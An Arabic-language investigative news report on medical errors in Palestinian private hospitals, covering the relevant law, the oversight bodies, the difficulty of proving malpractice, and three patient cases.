الأخطاء الطبية في المشافي الخاصة:جرائم بلا أدلة إثبات!

تحقيق: محمود الفطافطة

http://album.m3com.com.sa/showImage/view/ImageID/1000109353/size/500

الحديث عن وقوع أخطاء طبية في المشافي العامة والخاصة  بفلسطين كثير ومعقد في آن ٍ واحد، حيث ما أن هممتُ  بإعداد هذا التحقيق، وبدأت استقصي واقع  حيثياته ومدى حجم وطبيعة حالاته، حتى شعرت بأنني أبحث في ظاهرة قد لا يُستثنى من شرها أحد من هذه المشافي. هذا ما لمسته عبر إفادات عدد من المتضررين وذويهم وبعض أصحاب الشأن والاختصاص. ولكن ما يحول دون تأكيد الحسم في أن ما يحدث من أخطاء طبية يمثل ظاهرة متفشية في معظم مشافينا هو العبء الشديد في إثبات هذه الأخطاء، وهذا ما يؤدي إلى الصعوبة البالغة في توصيف مثل هذه القضية.

فخلال السنوات العشر الأخيرة أشارت بعض المؤسسات الحقوقية الفلسطينية إلى وجود حالات  من الإهمال الطبي في المشافي العامة والخاصة،نتج عن بعضها ضرر جسيم بالمرضى،وصل إلى حد الوفاة،أو الإعاقة الدائمة،في حين تنوعت مثل هذه الحالات لتشمل في قسمٍٍ منها على إعطاء كمية مرتفعة من المخدَرلاتتلاءم مع سن أو وزن المريض حيناً،أو إعطاء وحدات دم ملوَثة،أوترك مواد في بطن المريض،وعدم دقة التشخيص في أحايينٍ أخرى.

وفي ظل طغيان عقدة أو جدلية إطلاق الأحكام المجردة من تقارير طبية تثبت صحة وقوع معظم هذه الأخطاء،وفي خضم الحساسية القصوى لمثل هذه القضية،فإن طرح موضوع الأخطاء الطبية في مشافي فلسطين الخاصة(تحديد الخاصة لان التحقيق يتحدث عنها فقط) يتطلب ضرورة البحث والمتابعة للوقوف على حقيقة هذه المسألة،وهل هي مجرد حالات تحدث في هذا المشفى أو ذاك،أم هي ظاهرة واسعة الانتشار؟ وما هي أسبابها وتجلياتها ونتائجها والآليات الكفيلة بمعالجتها؟.وأيضاً من المسؤول عن وقوعها،هل الطبيب بمفرده،أم إدارة المشفى التي يعمل بها الطبيب، والتي قد تكون في حالة افتقار إلى التمويل اللازم أو التجهيزات التقنية؟وكذلك هل يمكن القول بأن السبب يكمن في جزءٍ منه بمدى وعي المريض وذويه؟ أم  في القدر؟،أم في كل ما ذكر؟.

وقبل الخوض في مجمل تفاصيل هذه القضية تستلزم ضرورات التحقيق الصحفي استعراض مفهوم “الخطأ الطبي” وما يلازمه من تجليات كالإساءة والإهمال والتقصير وفقر الإمكانيات المالية والفنية والتأهيلية..الخ،إلى جانب التطرق إلى تقسيماته،ونبذة قصيرة عن مدى ظهور وانتشار الأخطاء الطبية في مشافي العالم.

المفهوم والانتشار

يُعرَف شرف الدين محمود في كتابه “المسؤولية التقصيرية للأطباء” الخطأ الطبي”بأنه انحراف الطبيب عن السلوك الطبي العادي والمألوف،وما يقتضيه من يقظةٍ وتبصَر إلى درجة يُهمل معها الاهتمام بمريضه”،أو هو “إخلال الطبيب بالواجبات الخاصة التي تفرضها عليه مهنته، وهو ما يسمى بالالتزام التعاقدي”. ويتبين لنا من خلال التعريفين السابقين أن الخطأ الطبي يقوم على توافر مجموعة من العناصر،تتمثل  بعدم مراعاة الأصول والقواعد العلمية المتعارف عليها في علم الطب،والإخلال بواجبات الحيطة والحذر،إغفال بذل العناية التي كانت باستطاعة الطبيب فعلها،إلى جانب مدى توافر رابطة أو علاقة نفسية بين إرادة الطبيب والنتيجة الخاطئة.

أما تقسيمات الخطأ الطبي،فيُجمع معظم الفقهاء القانونيين على وجود قسمين(يذكرهما محمد الشلش في دراسته “أخطاء الأطباء بين الفقه والقانون، مجلة جامعة القدس المفتوحة ،عدد 9،شباط 2007،ص350)وهما:

الأول:الخطأ الفني،وهو الخطأ الذي يصدر عن الطبيب،ويتعلق بأعمال مهنته،ويتوجب لإثبات مسؤوليته عنه أن يكون الخطأ جسيماً.ومن الأمثلة عليه:عدم الالتزام بالتحاليل الطبية،والخطأ في نقل الدم،وإصابة المريض لسوء استخدام الآلات والأجهزة الطبية،وإحداث عاهة،فضلاً عن التسبب في تلف عضو،أوتفاقم علَة.

الثاني: الخطأ العادي،ومرده إلى الإخلال بواجبات الحيطة والحذر العامة التي ينبغي أن يلتزم بها الناس كافة،ومنهم الطبيب في نطاق مهنته باعتباره يلتزم بهذه الواجبات العامة قبل أن يلتزم بالقواعد العلمية أو الفنية لمهنته.ومثاله أن يجري الطبيب عملية جراحية وهو سكران.

وبخصوص مدى انتشار الأخطاء الطبية عالمياً،فإن الدراسات العلمية والمعطيات الإحصائية تؤكد عدم اقتصارها على مجتمع دون سواه،فوقوعها ليس مستحيلاً،بل هو أمر ممكن الحدوث حتى في أكثر الدول تقدماً في مجال الطب وعلومه.ففي الولايات المتحدة الأمريكية ودول أوروبا الغربية هناك نسبة عالية من وقوع الأخطاء الطبية رغم التقدم العلمي والتكنولوجي،فقد أفادت دراسة حديثة أن المرضى أبلغوا عن معدلات عالية من الأخطاء الطبية وعدم انتظام زيارة الأطباء،وأن 34%  من المرضى الأمريكيين يحصلون على أدوية خاطئة وعلاج غير مناسب أو غير صحيح.

ضحايا وتعويضات

وفي دراسة علمية تبين أن ما بين( 44ـ 98 ألف) مواطن أمريكي يموتون في المشافي العامة والخاصة سنويا نتيجة ما يعتقد أنه من الأخطاء الطبية،كما أن هذه الظاهرة تكلف الموازنة الأمريكية حوالي 29 مليار دولار كل عام،وهذا ما أدى بالنظام القانوني الأمريكي بإلزام دفع تعويضات للضحايا وأسرهم عن خسائرهم المالية،وعما عانوه من فقدان لأعضاء جسدية أو تعطيل استخدامها،أو فقدان قريب،فضلاً عن الآلام المصاحبة لكل ذلك،وقد تكون هذه التعويضات عالية القيمة،فقد مُنحت مؤخراً أسرة في ولاية واشنطن (17,1 مليون) دولار نظير عطب أصاب طفلتها بالمخ.

هذا في دولة متطورة أما في مصر التي تعتبر من دول العالم الثالث فقد اتهم خلال عام 2005 (850) طبيباً بأخطاء جراحية،بحيث تحدثت الصحف المصرية مؤخراً عن حالات تجميل تعرض أصحابها لمضاعفات عقب العملية،فقد أجرى أحد الأطباء لمريض خمس عمليات في وقت واحد،ونجم عن ذلك نزيف أدى إلى وفاته.وفي حالة ثانية توفيت فتاة تناولت أدوية خاطئة أدت إلى إصابتها بالسرطان،وعلى إثر ذلك تقرر حبس الطبيب وتغريمه مبلغ (25) ألف جنيه على سبيل التعويض المادي والأدبي لأسرة المجني عليها.

يستدل من الحالات سابقة الذكر أن الخطأ الطبي لا ينحصر ببلد فقير دون انتشاره في بلد غني أو متطور،فكمايقول المثل”من يعمل قد يخطئ، والخطأ قد يكون ناتجاً عن إهمال وتقصير،وقد لا يكون هناك إهمال أو تقصير،غير أن الخطأ يكون قد وقع بعد أن بذل مَنْ وقع منه الجهد والحذر الكافيين والمطلوبين في مثل الظروف التي كان فيها.

المشكلة هنا في الحالة الفلسطينية ليس في وقوع الخطأ الطبي فحسب،فهو يحدث في معظم مشافي العالم،بل بعدم التعاطي المناسب لمعرفة جذور أسباب الخطأ أوالجرأة والاهتمام بمعالجته.ورغم أن قضية الأخطاء الطبية في المشافي العامة والخاصة بفلسطين كثر الحديث عنها،وحدا بالكثيرين وصفها “بالظاهرة الخطيرة والمقلقة” إلا أنها لم تلقَ التجاوب الكافي،ولم يتم التعاطي معها بشكل جدي من الجهات المختلفة الرسمية وغير الرسمية.ولنبدأ بمعالجة هذه القضية من جوانبها المختلفة.

دراسات ومعطيات

تبين معطيات الهيئة الفلسطينية المستقلة لحقوق المواطن أنه خلال الفترة الممتدة من (1996ـ 2001) استقبلت الهيئة 65 شكوى يدعي فيها أصحابها بوقوع أخطاء طبية لهم، أو لأقربائهم من قبل أطباء وممرضين في مشافي عامة وخاصة. وتشير الهيئة إلى أن عدد هذه الادعاءات ما هو إلا عدد قليل من مجمل حالات الإهمال الطبي التي تقع فعلاً، فهناك وفق الهيئة حالات إهمال طبي تحل بدون تدخل أو معرفة المؤسسات الرسمية أو الأهلية، إلى جانب وجود عدد آخر من قضايا الأخطاء الطبية التي تحل عشائريا، أو لا يتم تقديم شكوى بخصوصها. وكذلك فان هناك بعض القضايا التي لا يتم معرفة سبب الضرر الذي أصاب المريض أو السبب الذي أدى إلى الوفاة نتيجة لاعتقاد أهل المريض أو المتوفى أن ما حدث كان وضعاً طبيعياً بعيداً عن أي إهمال أو خطأ طبي من الطبيب المعالج، فلا يتم متابعة الحالة والتحقيق في الموضوع ومساءلة محدث الضرر.

كذلك ،فإن الجمعية الفلسطينية لحماية حقوق الإنسان والبيئة (القانون) تذكر في تقرير لها أنها تلقت خلال السنوات الأخيرة الماضية عشرات الشكاوى حول موضوع الأخطاء الطبية، وإهمال الجهات المختصة بالتعامل معها بجدية وحزم،رغم النتائج الوخيمة التي نتجت عن بعض هذه الحالات كالإعاقة أو حتى الوفاة.

وإذا ما ا ضفناجغرافية الخطأ الطبي،فإن  سلسلة تقارير أعدها المركز الفلسطيني لحقوق الإنسان كشفت عن وجود عشرات الحالات المتضررة بسبب الأخطاء الطبية في مشافي قطاع غزة العامة منها والخاصة.ويرى المركز أنه في خضم وجهتي النظر المتناقضتين،وجهة نظر المتضررين وذويهم،ووجهة نظر الأطباء ووزارة الصحة عموماً،فإن ملف الأخطاء الطبية بحاجة ماسة لوقفة جادة، لا لكيل الاتهامات لطرف أو لآخر، بل المطلوب وضع اليد على حقيقة ما يحدث في محاولة لتصويب الخلل،حال ثبات وقوعه.

إطلالة قانونية

لا زال قانون العقوبات الأردني رقم 74 لسنة 1936 هو المعمول به في قطاع غزة، بينما في الضفة الغربية فإن قانون العقوبات الأردني رقم 16 لسنة 1960 هو الذي يطبق في هذا الخصوص.هذا من جهة التطبيق،أما بشأن العقوبة والجزاء فإن المشرع الادرني لم يعاقب على كل نتيجة تسببَت عن الخطأ الطبي، ولكنه تخير بعض النتائج التي هي على درجة الجسامة وعاقب عليها . وقد حصرت المادة (343) من قانون العقوبات الأردني صور الخطأ في:

*الإهمال: ويقصد به التفريط والتقصير وعدم الانتباه. ومن صور الإهمال أن يكلف شخص بالعناية بمريض أو طفل صغير، فيهمل في العناية به حتى يموت. أو ينسى الطبيب قطعة شاش أو آلة داخل جسم المريض.

*قلة الاحتراز:يقصد به عدم التقدير على نحو سليم للآثار الضارة لفعله، فضلاً عن عدم مراعاة القوانين والأنظمة.

وبخصوص العقوبة التي وضعها قانون العقوبات الأردني على القتل غير المقصود سواء أكان من طبيب أم كان غيره، فقد تمثلت وفق ما نصت عليه المادة (343)”من سبب موت احد عن إهمال أو قلة احتراز أو عن عدم مراعاة القوانين والأنظمة عوقب بالحبس من ستة أشهر إلى ثلاث سنوات”. وان لم ينجم عن الخطأ قتل،فقد نصت المادة (344) من قانون العقوبات المذكور على:

أ.(إذا لم ينجم عن خطأ الشخص إلا الإيذاء كان العقاب بالحبس من شهر إلى سنة أو بغرامة من خمسة دنانير إلى خمسين ديناراً).ب.(يعاقب كل إيذاء غير مقصود بالحبس لمدة لا تتجاوز ستة أشهر أو بغرامة لا تتجاوز عشرة دنانير).

هذه العقوبات يراها البعض بأنها كافية كالدكتور محمد أمين التيجاني رئيس لجنة الشكاوى والمخالفات في نقابة أطباء فلسطين،حيث يقول: “أن العقوبة المنصوص عليها قانونياً بشأن الخطأ الطبي معقولة،فيستحيل على أي طبيب أن يسمح لنفسه بأن يؤذي أو يضر مريضه،وإلا فقد تحول ذلك الفعل إلى جريمة جنائية، وهذا لم يحدث مطلقا في مشافينا”.مقابل هذا الرأي نجد من يعارض حجم العقوبة،مطالباً بتشديدها أكثر،وضرورة تطبيقها كالدكتور احمد حنيحن مسؤول معهد الطب الشرعي في منطقة جنوب الضفة الغربية،حيث يوضح أن كل طبيب يعبث بمصير أي مريض بسبب جهله بتخصصه أو جشعه لحصد مبالغ طائلة من المال يجب أن تكون عقوبته شديدة حتى لا يتجرأ المزيد من السير على خطاه.

لمن تتبع المشافي الخاصة؟

ينص قانون الصحة العامة الفلسطيني رقم 20 لسنة 2004 على “إن من مهام وصلاحيات وزارة الصحة الفلسطينية ترخيص المؤسسات الصحية غير الحكومية ومراقبتها”. ومن خلال تتبعنا لبعض حالات الخطأ الطبي نجد أن هناك إشكالية  وتناقض في ذلك، يتمثل في أن الوزارة تفيد بأن جهة الاختصاص في شكاوى الأخطاء الطبية التي ترد على مشفى خاص هو نقابة الأطباء ،وأن على النيابة العامة مطالبة النقابة بالتحقيق في مثل هذه القضايا.

وكذلك فإن الفصل الثامن من القانون نص على دور الوزارة في الرقابة والتفتيش على المؤسسات الصحية المختلفة،بما فيها المؤسسات الصحية الخاصة أوالأهلية،وألزم كل مؤسسة صحية غير حكومية بتزويد الوزارة بالتقارير الدورية حول سير العمل فيها،وأي معلومات تطلبها الوزارة منها،كما وألزم هذا القانون المؤسسة الصحية بالاهتمام بالشكاوى المقدمة إليها واتخاذ الإجراءات المناسبة بشأنها.

والمتتبع لوضعية المشافي الخاصة(التحقيق يتحدث عن المشافي الخاصة) الفلسطينية يجد أن تنفيذ مثل هذه المطالب يشوبه التقصير الشديد إلى حد الانعدام في معظم الأحيان،حيث يقول:د. (شاكر.ق) الذي فضل عدم ذكر اسمه الثاني)،ويعمل في الوزارة أن قسم التفتيش في الوزارة صلاحياته هامشية،بل ومعدومة،كما أن المشافي الخاصة لا تلتزم مطلقاً بإرسال أية تقارير دورية عن طبيعة عملها أو عن الأخطاء الطبية التي تحدث بداخلها إلى وزارة الصحة،فضلاً عن الصعوبة البالغة التي يجدها المشتكي المتضرر في الوصول إلى  مكان الشكوى،عدا عن التعقيدات البيروقراطية المتمثلة فيها.

مصادر الأخطاء الطبية

إلى ذلك،فإن مصادر الأخطاء الطبية التي تحدث في المشافي الخاصة تتعدد أشكالها،بحيث أن عدم  الخبرة التي يفتقر إليها بعض الأطباء،خاصة إذا كان طبيباً جديداً،أو غير مؤهل،أو لا يستطيع إتقان العمل على بعض الأجهزة الطبية في المشفى تشكل سبب رئيس لمصدر الخطأ الطبي،كما أن نسبة كبيرة من هذه الأخطاء تحدث بسبب كتابة وصفات طبية غير واضحة، ووجود أدوية متشابهة الأسماء،ومشاكل اتصالات بين مشرفين على علاج مشترك،بالإضافة إلى التخزين الروتيني للأدوية السامة في صيدليات المشافي.

عبء الإثبات

إن إحدى أهم المشاكل التي تظهر في دعاوى مُساءلة الأطباء مدنياً عن أخطائهم المهنية هي مسألة الإثبات،فالمريض،كما يقول المحامي معن ادعيس: يجب عليه أن يُثبت وقوع الخطأ،وأن يثبت وقوع الضرر،ثم يثبت علاقة الخطأ بالضرر،وأن هذا الخطأ هو الذي أوقع ذلك الضرر، وأن هذا الضرر ما كان ليقع لولا وقوع ذلك الخطأ.ويظهر ثقل هذا العبء بشكل جلي ومعقد وفق وصف ادعيس خاصة في ظل الصعوبة البالغة التي تنجم عن إفادات الخبراء الذين تدعوهم المحكمة،وهم من الأطباء،في تحميل زملاءهم في المهنة أي نوع من أنواع المسؤولية لدى إدلائهم بإفاداتهم،مع الملاحظة هنا أن تشريعات بعض الدول ذهبت إلى ابتكار حلول جديدة لمواجهة هذه الإشكالية،بحيث افترضت قيام مسؤولية الأطباء دون حاجة إلى تحميل المريض عبء الإثبات،فيما جعلت عبء إثبات العكس يقع على الأطباء. ومن هذه الدول السويد ونيوزيلاندا. .

وفي جزئية أخرى،يتطرق المحامي ادعيس في مقابلة خاصة معه إلى علاقة القضاء العشائري في تسوية قضايا الأخطاء الطبية،حيث يقول:”إن علاقة هذا القضاء إنما تكون بقصد المسامحة بالجانب الجزائي من المسؤولية،وهذا يجب أن لا يؤثر على المطالبة المدنية بالتعويض عن الأضرار التي لحقت بالمتضرر.ويطالب ادعيس بضرورة إيجاد البنية القانونية اللازمة لوضع قانون يلزم المؤسسات الصحية الخاصة والعامة بالتأمين ضد المسؤولية عن الأخطاء الطبية،إلى جانب تطوير الوعي لدى المواطنين بأهمية ملاحقة ومتابعة قضايا الخطأ الطبي لأن ذلك حق لهم،وعليهم أن يستردوه.

ويوصي المحامي ادعيس بضرورة تشكيل لجان طب شرعية من أطباء وفقهاء وقانونيين،تكون مهمتها إبداء الرأي الشرعي في كل مسالة طبية طارئة،وتحديد نوع الخطأ الطبي،ومدى مسؤولية الطبيب عنه،مع تقرير العقوبة المناسبة وتقديرها في حالة إدانته،وكذلك وجوب قيام نقابة الأطباء ووزارة الصحة بعقد دورات تدريبية للأطباء الجدد،وتزويد القدامى من الأطباء بكل ما يستجد في عالم الطب،إلى جانب تبصير الأطباء بالقوانين وعقوباتها في حالة حصول الخطأ الطبي،وماهية هذا الخطأ.كما ويطالب بوضع قانون خاص بالأخطاء الطبية،يكون فيصلاً في مثل تلك القضايا التي تتشابك فيها المصطلحات والمفاهيم بين الخطأ الطبي والمضاعفات الطبية العائدة إلى القضاء والقدر.

أين الوزارة من الأخطاء الطبية؟

لا ينكر وكيل وزارة الصحة د.عنان المصري بوجود أخطاء طبية تحدث في المشافي الحكومية والخاصة الفلسطينية، وان الوزارة تقوم في حالة ثبوت هذا الخطأ الطبي وبدليل قاطع بعقاب الطبيب،مبيناً أنه في حال إذا تسبب طبيب يعمل في مشفى خاص بخطأ طبي،فإن الوزارة تطلب من إدارة هذا المشفى ضرورة معرفة نتائج التحقيق التي تمت مع الطبيب حتى لو كان يعمل في موقع مسؤولية ومنوها في الإطار ذاته إلى أن صلاحيات الوزارة لا تنحصر في مشافي الحكومة فقط وإنما في كافة مؤسسات القطاع الصحي الفلسطيني.

وبين د.المصري أن الخطأ الطبي المتكرر يحاسب عليه الطبيب، أما الخطأ غير المتعمد لأول مره فينبه عليه،نافياً في الوقت نفسه وقوع أي تسيب أو تجاوز في هذه الأخطاء،بحيث تشكل لجنة من خمسة أفراد تعالج هذا الخطأ  وتقرر فيه.

نقابة الأطباء

لمعرفة عمل وصلاحيات نقابة الأطباء الفلسطينيين بخصوص قضية الأخطاء الطبية في المشافي الخاصة فقد سرد د. محمد أمين التيجاني تراتبية هذا العمل، حيث يقول:”يقدم المتضرر أو من ينوب عنه شكوى مكتوبة وواضحة إلى النقابة بطبيعة ما حصل،ثم ترسل نسخة من الشكوى إلى الطبيب المدعى عليه ليرد عليها خلال أسبوعين،وبناءً على الرد تقرر النقابة أمرين:آولهما،أن الشكوى ليست ذات أهمية أو منطقية،بينما القرار الآخر يتمثل في إحالة الشكوى إلى اللجنة الفرعية للنقابة للنظر فيها.

ويضيف: “إذا لم يقتنع المتضرر بذلك تقوم النقابة والوزارة بتشكيل لجنة فنية،بهدف التحقيق والتحقق من حقيقة الأمر،فإذا وجدت تقصيراً وخطأً من الطبيب يحال إلى “مجلس النقابة التأديبي”،موضحاً أنه من حق المشتكي الحصول على إجابة بحقيقة نتائج التحقيق،كما وله الحق في الاستئناف أو الذهاب إلى القضاء.

ويرى د. التيجاني أن الأخطاء الطبية في المشافي الخاصة هي مجرد حالات،كما أن معظم الشكاوى التي تقدم ضد الأطباء أو المشافي بهذا الخصوص تكون كيدية هدفها ابتزاز الطبيب، أو تحريض من قبل آخرين.ولتفعيل دور النقابة في مسألة الأخطاء الطبية يطالب د.التيجاني بضرورة إعطاء النقابة دوراً تنفيذيا واسعاً،وأن تعمل على تطبيق برنامج تأهيلي للأطباء الجدد والقدامى وتوعيتهم بالناحية القانونية الخاصة بهذه القضية وغيرها.

إلى ذلك يشدد د. التيجاني بضرورة قيام وزارة الصحة بوضع نظام خاص للتعامل مع الشكاوى التي ترد من المواطنين في موضوع الأخطاء الطبية،وتفعيل تنفيذ الإجراءات المعمول بها في هذا الصدد،والعمل على اعتماد وزارة الصحة لإجراءات واليات تضمن الرقابة والتفتيش على المؤسسات الصحية الخاصة وإلزامها بتقديم تقارير شهرية عن سير العمل فيها،بما يضمن استيفاء هذه المؤسسات الشروط اللازمة لممارستها العمل الصحي.

معهد الطب الشرعي

إن للطب الشرعي دوراً هاماً ورئيساً في قضية الأخطاء الطبية،فالمعهد الفلسطيني للطب الشرعي الذي يقع في جامعة أبو ديس لديه الصلاحية في تشخيص حالات الوفاة أو الإصابة التي يعتقد أنها ناجمة عن خطأ طبي أو إهمال أو تقصير من هذا الطبيب أو ذاك.يقول د. أحمد حنيحن :” الأخطاء الطبية تمثل ظاهرة خطيرة ومقلقة في المشافي العامة والخاصة على حد سواء،فغياب الرقابة من قبل وزارة الصحة ونقابة الأطباء على هذه المؤسسات الصحية يشكل السبب الرئيس لتفشي الأخطاء الطبية،فضلاً عن غياب التدقيق في مؤهلات الأطباء الجدد،ومدى قدرتهم على ممارسة مهنة الطب”.

ورغم اعتراف د. حنيحن بأن المعهد يعاني من نقصٍ ملحوظ في التجهيزات الفنية،والأجهزة الطبية،والكوادر البشرية،إلا أنه برر ذلك بالظروف الاستثنائية التي تمر بها المؤسسات الفلسطينية،خاصة فيما يتعلق بشح التمويل في دعم القطاعات الحياتية الهامة،ومنها القطاع الصحي.وبين أن الطب الشرعي لديه القدرة المطلوبة في التوصل إلى حقيقة ما تعرض إليه المتوفى أو المصاب من أخطاء طبية وغيرها،في حين أن بعض الحالات المستعصية يتم نقلها إلى الأردن أو داخل إسرائيل، مطالباً الجهات المسؤولة بدعم المعهد،وتلبية احتياجاته حتى يقوم بعمله على أكمل وجه، فضلاً عن مطالبته بتشكيل لجنة مؤهلة،مؤلفة من وزارة الصحة ونقابة الأطباء لمتابعة هذه الظاهرة والوقوف على أسبابها ومخاطرها،بهدف إيجاد آلية علاج مناسبة لها.

وحول مدى أهلية الأطباء في المعهد ذكر د. حنيحن أن الفريق العامل مؤهل،وإن لم يكن كافياً بالقدر المطلوب،ويقوم بعمله بشفافية ومهنية عاليتين،منتقداً في الوقت ذاته كل ما يروج من “ادعاءات” تفيد أن أطباء المعهد يتعرضون لضغوطات من هنا وهناك بغية إصدار تقارير طبية، تتجاوز طبيعة وحقيقة ما حدث من خطأ طبي من هذا الطبيب أو هذه المشفى،فضلاً عن الادعاء بعدم قدرة المعهد بالقيام بفحوصات دقيقة.

وفي هذا السياق يطالب د. حنيحن بإيجاد البنية القانونية اللازمة لوضع قانون يلزم المؤسسات الصحية الخاصة والعامة بالتأمين ضد المسؤولية عن الأخطاء الطبية،إلى جانب تطوير الوعي لدى المواطنين بأهمية ملاحقة ومتابعة قضايا الخطأ الطبي لأن ذلك حق لهم،وعليهم أن يستردوه

النيابة العامة

يفرض قانون أصول المحاكمات الجزائية الفلسطيني رقم 3 لسنة 2001 على النيابة العامة واجب متابعة الجرائم والتحقيق فيها،ومتابعة أي وفيات تحدث في ظروف غامضة يُحتمل معها أن تكون الوفاة حدثت عن قصد،أو نتيجة إهمال يحاسب عليه القانون. ويقول مساعد النائب العام عبد الغني العويوي:”أن النيابة العامة دون غيرها تختص بالتحقيق في الجرائم والتصرف فيها، وأن النيابة في حال تقديم شكوى بخصوص خطأ طبي تباشر التحقيق فيها،مبيناً أن تقديم شكوى إلى نقابة الأطباء أو غيرها  ضد طبيب أو مشفى بسبب إهمال طبي لا يحول دون تقديم الشكوى أمام القضاء.

وفي مقابل ذلك،يشير تقرير صادر عن الهيئة المستقلة لحقوق المواطن حول الإهمال الطبي، صادر عام 2001 إلى وجود ضعف في متابعة النيابة العامة لقضايا الأخطاء الطبية،فرغم وجود عشرات الحالات في السنوات الأخيرة،أدى فيها الإهمال الطبي المُدعى به إلى وفاة المريض.كما ظهر في بعض القضايا التي وصلت المحاكم ضعف الخبرة الفنية المقدمة من النيابة العامة،وعدم قدرتها على إظهار الإهمال الذي وقع،وعدم ثقة المحكمة في التقارير المقدمة من الطب الشرعي المحلي،إلى جانب أن المحاكم لم تبت في عدد من القضايا التي وصلت إليها، رغم مرور سنوات على النظر فيها في المحكمة.

شكاوى بلا نتائج!

من خلال تتبعنا لبعض الحالات المتضررة،والتي تُوصف بأنها نتيجة خطأ طبي،يتبين أن معظم المتضررين أو ذويهم لا يُقدمون على رفع دعاوى قضائية ضد من يعتبروهم السبب في هذا الخطأ.يعزو السبب في ذلك،وفق ما يوضح د. نبيل سعيد سليمان إلى جملة عوامل،أهمها: ارتفاع تكلفة الخدمة القانونية،والتيقن المسبق بأن القضية ستخسر نتيجة الشك في أهلية ومصداقية نتائج الطب الشرعي،والصعوبة البالغة،بل والمستحيلة في إثبات الخطأ الطبي على الطبيب أو المشفى أو من كان له سبب في الخطأ أو الإهمال أو التقصير الطبي.

ويضاف إلى هذه العوامل،عامل رئيس،يتمثل في القضاء،وما يعتريه من غياب لإعمال قيم النزاهة ومبادئ القضاء.هذا العامل يقلل كثيراً من اهتمام المواطنين لقضايا الأخطاء الطبية، بحيث يذكر المحامي ناصر الريس في( كتاب”القضاء الفلسطيني:قيم النزاهة ونظم المساءلة والشفافية،منشورات أمان 2005،ص43)أن هناك العديد من المعيقات المؤثرة بشكل سلبي على عمل القضاء واستقلاله، والتي أهمها: عدم احترام السلطة التنفيذية للتشريعات القضائية بعد نفاذها،وتدخل السلطة التنفيذية في الفصل في المنازعات،والتأثير على القضاة،والامتناع عن تنفيذ الأحكام والقرارات القضائية،إطالة أمد النظر في القضايا والمنازعات،تناوب القضاة على النظر في القضية،إلى جانب تدخل أطراف الخصومة كمحاولة استمالة القاضي والتأثير على نزاهته وحياده عبر مختلف وسائل الإغراء والتأثير.

وفي هذا الإطار يدعو القائمين على متابعة الشفافية في الحالة الفلسطينية،وتحديداً إئتلاف أمان  إلى ضرورة تكريس حق المواطن في الاطلاع، وتقديم الشكاوى، و”من ضمنها الأخطاء الطبية”، ومساءلة الأطراف المخولة بالعمل لإقامة نظام النزاهة الوطني كخطوة وقائية للتصدي للنتائج المدمرة لانتشار ظاهرة ومظاهر الفساد في المجتمع الفلسطيني باعتبار أن أحد أسبابه يعود لغياب دور الجمهور في الرقابة.

من خلال رجوعي إلى العديد من التحقيقات المماثلة لهذا التحقيق وجدت أن الحالات لها مكان مستقل وعادة ما تأتي في النهايات حتى يستطيع القارئ أن يربط بين أنواعها وأسبابها ونتائجها،وبالتالي طريقة علاجها

حـالات

1.(ن.ك) أُجريت لها عملية استئصال مرارة في مركز (نابلس الجراحي التخصصي)،وذلك بعد إقناعها بأن حالتها تستدعي الاستعجال في إجراء العملية،وأن المركز هو الوحيد في هذه المدينة القادر على إجراء ذلك.أثناء إجراء العملية تبين أن المركز غير مؤهل لإجراء مثل هذا النوع من العمليات،ولم يتمكن الأطباء الموجودون في المركز من التعامل مع المضاعفات، فتم استدعاء طبيب من مشفى آخر،فوجئ فور وصوله بعدم توفر جهاز تدليك للقلب.وبعد أن ساءت أوضاع المريضة،تم نقلها إلى مشفى آخر،حيث توفيت فيه.في أعقاب ذلك قامت وزارة الصحة بالتحقيق في القضية،واتخذت قرارا بإغلاق المركز لمدة شهر حتى يتم تقديم المستندات والوثائق التي تؤكد الالتزام بالقوانين والأنظمة المعمول بها في الوزارة.

2. بدأت أعراض المرض على الشاب يوسف حريبي عاشور (20عاماً)بضيق في التنفس وسعال،وعند عرضه على أكثر من طبيب اخبروه أن عنده نزله صدرية أو مجرد لفحة هواء، وعند التوجه إلى المستشفى الأهلي،وبعد عدة فحوصات وصور أشعة وصور طبقية أخبره الأطباء أن لديه كيس ماء على الرئة،مع وجود دمل وهو بحاجة إلى علاج وسيغادر المستشفى بعد يومين.كان يشرف على علاج يوسف في المستشفى الأهلي (د..ج.هـ)،وبعد ثلاثة أيام في عمل الأطباء على إدخال أنبوب إلى رئة يوسف لإخراج الماء الموجود على الرئة ،فاخذ الأنبوب يمتص ماء اصفر من رئة يوسف،واخبره الطبيب أن الأمور تسير في تحسن وانه سيغادر المستشفى قريباً، إلا انه بقي في المستشفى عشرين يوماً،الأمر الذي حدا بوالد يوسف الطلب من الطبيب المشرف على علاج ابنه أن يفصح له عن مرض ابنه وان يصارحه بالموضوع حتى وإن كان مريضاً بالسرطان.في اليوم الحادي والعشرين قال الطبيب لوالد يوسف :”ابنك لم يبقَ له علاج عندنا،وعليك نقله إلى المقاصد أو إلى أي مشفى في رام الله”، فرد عليه والده:”لماذا لم تخبرني من البداية أنه لا يوجد علاج عندكم”،فكان رد الطبيب:”إننا عملنا المستحيل”.اجريت ليوسف عملية أخرى في المقاصد واشرف على علاجه الدكتور نائل الشهابي وتبين أن ما تم في الأهلي هو خطأ،بحيث أنه عند إدخال الأنبوب إلى الرئة تم تفجير الدمل وانتشار ما بداخله من مواد وفيروسات إلى كل أجزاء الرئة. وقد تم تصحيح مجرى الأنبوب،وبعد أربعة أيام من إجراء العملية غادر يوسف المشفى عائداً إلى بيته.

3.(م.ف)سقطت أثناء قطفها الزيتون،توجهت إلى مختبر أشعة لتصوير ساقها،طلب منها فني المختبر التوجه إلى إحدى الأطباء المختصين بالعظام الذي يعمل بمستشفى (م)،وبمجرد أن شاهد هذا الطبيب الصور قال: “إنها تحتاج إلى عملية فورية لزرع جهاز،وذلك لإصابتها بأكثر من كسر في الحوض،وحدد لها موعداً للعملية، لكن زوجها قرر عدم إجراء العملية لعدم توفر المال، ولان الوضع الصحي لزوجته لا يسمح،في حين كان الطبيب مصمم على إجراءها، وبعد رفضها ومغادرتها المشفى على مسؤوليتها الخاصة، توجهت إلى مركز لتصوير الأشعة، حيث تبين أنها لا تعاني من كسر في الحوض، ولا تحتاج إلى أي عملية،ولو أجرتها لربما تصاب بالشلل،أو أضرار لا يحمد عقباها وفق ما ذكر موظف الاشعة.

